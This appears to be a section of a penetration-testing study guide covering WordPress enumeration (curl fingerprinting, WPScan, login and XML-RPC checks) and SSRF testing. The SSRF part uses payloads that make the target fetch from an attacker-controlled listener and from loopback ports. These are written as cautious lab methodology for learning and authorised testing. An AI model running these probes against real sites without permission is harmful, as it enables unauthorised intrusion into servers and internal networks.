9.3.5 WordPress and SSRF Paths
← Stage index | HTTP mapping | Web cheatsheet | Strategy map | Study methods: Turn application weaknesses into access
9.3.5.1 WordPress: establish the deployment first
Recognition: WordPress-specific paths/assets, generator metadata, REST routes or
wp-content. Prerequisite: correct scheme, host header and base path. Decisive output: core/plugin/theme identity or an authenticated capability that maps to a concrete prerequisite.
curl -skI https://HOSTNAME/
curl -sk https://HOSTNAME/robots.txt
curl -sk https://HOSTNAME/wp-json/ | head
curl -sk https://HOSTNAME/wp-content/
curl -sk https://HOSTNAME/wp-login.php -o wp-login.html
Inspect page source for /wp-content/plugins/NAME/, /wp-content/themes/NAME/, versioned assets and alternate base paths. A visible version is a candidate, not exploitability proof.
9.3.5.1.1 WPScan inventory
wpscan --url https://HOSTNAME/ --disable-tls-checks \
--enumerate vp,vt,u --plugins-detection mixed \
--output wpscan-HOSTNAME.txt
WPScan can be useful for component/user candidates, but verify every useful result manually. Vulnerability-database details may require an API token; never place a token in published notes or command history.
9.3.5.2 WordPress authentication and post-authentication mapping
Validate one legitimately acquired credential and then enumerate the role/capabilities it actually grants.
curl -sk -c wp.cookies -b wp.cookies \
--data-urlencode 'log=USER' \
--data-urlencode 'pwd=PASSWORD' \
--data-urlencode 'wp-submit=Log In' \
--data-urlencode 'redirect_to=https://HOSTNAME/wp-admin/' \
https://HOSTNAME/wp-login.php -D wp-login.headers
curl -sk -b wp.cookies https://HOSTNAME/wp-admin/ -o wp-admin.html
A redirect alone is inconclusive. Confirm an authenticated page marker and the actual role. Useful capabilities can include media upload, plugin/theme editing/installation, post editing or administrative account management; each requires separate server-side authorization and execution conditions.
XML-RPC exposure is a feature clue, not automatically a vulnerability:
curl -sk -X POST https://HOSTNAME/xmlrpc.php \
-H 'Content-Type: text/xml' \
--data '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>'
9.3.5.3 SSRF: prove server-side fetching safely
Recognition: URL import, webhook, image/PDF fetch, feed preview, link unfurling or callback validation. Prerequisite: a parameter that the server dereferences. Decisive output: a request observed at a controlled listener or a stable response difference tied to the destination.
Listener:
python3 -m http.server LPORT --bind 0.0.0.0
Hypothetical request replay:
curl -sk 'https://HOSTNAME/fetch?url=http://LHOST:LPORT/ssrf-marker'
Interpret the path explicitly:
browser/client -> vulnerable application -> requested URL
The application, not Kali, must resolve and reach the destination. A browser-side fetch, open redirect or reflected URL does not prove SSRF.
9.3.5.3.1 Internal destination and parser variations
9.3.5.3.2 Only after an external controlled callback proves server-side fetching
# Only after an external controlled callback proves server-side fetching
curl -sk 'https://HOSTNAME/fetch?url=http://127.0.0.1:PORT/'
curl -sk 'https://HOSTNAME/fetch?url=http://localhost:PORT/'9.3.5.3.3 Preserve encoding when the URL is nested in form data
# Preserve encoding when the URL is nested in form data
curl -sk -X POST https://HOSTNAME/fetch \
--data-urlencode 'url=http://127.0.0.1:PORT/'
Compare status, body marker, size and timing against a closed-port control. Internal HTTP content establishes reachability/read capability, not command execution.
9.3.5.4 Choose the next check from the failure you observed Failure-guided routing
- Callback never arrives: verify the parameter is fetched server-side, the listener address, return route, URL parser and allowed schemes.
- External callback works but loopback fails: destination filtering, container/network namespace or application proxying may differ.
- All internal ports look identical: the application may normalize errors; use a known-open/known-closed comparison and stable markers.
- Redirect accepted but final destination blocked: determine whether validation happens before or after redirects without assuming a bypass.
- WordPress scanner finds a component but the path/version is absent: manually confirm the active component and vulnerable configuration.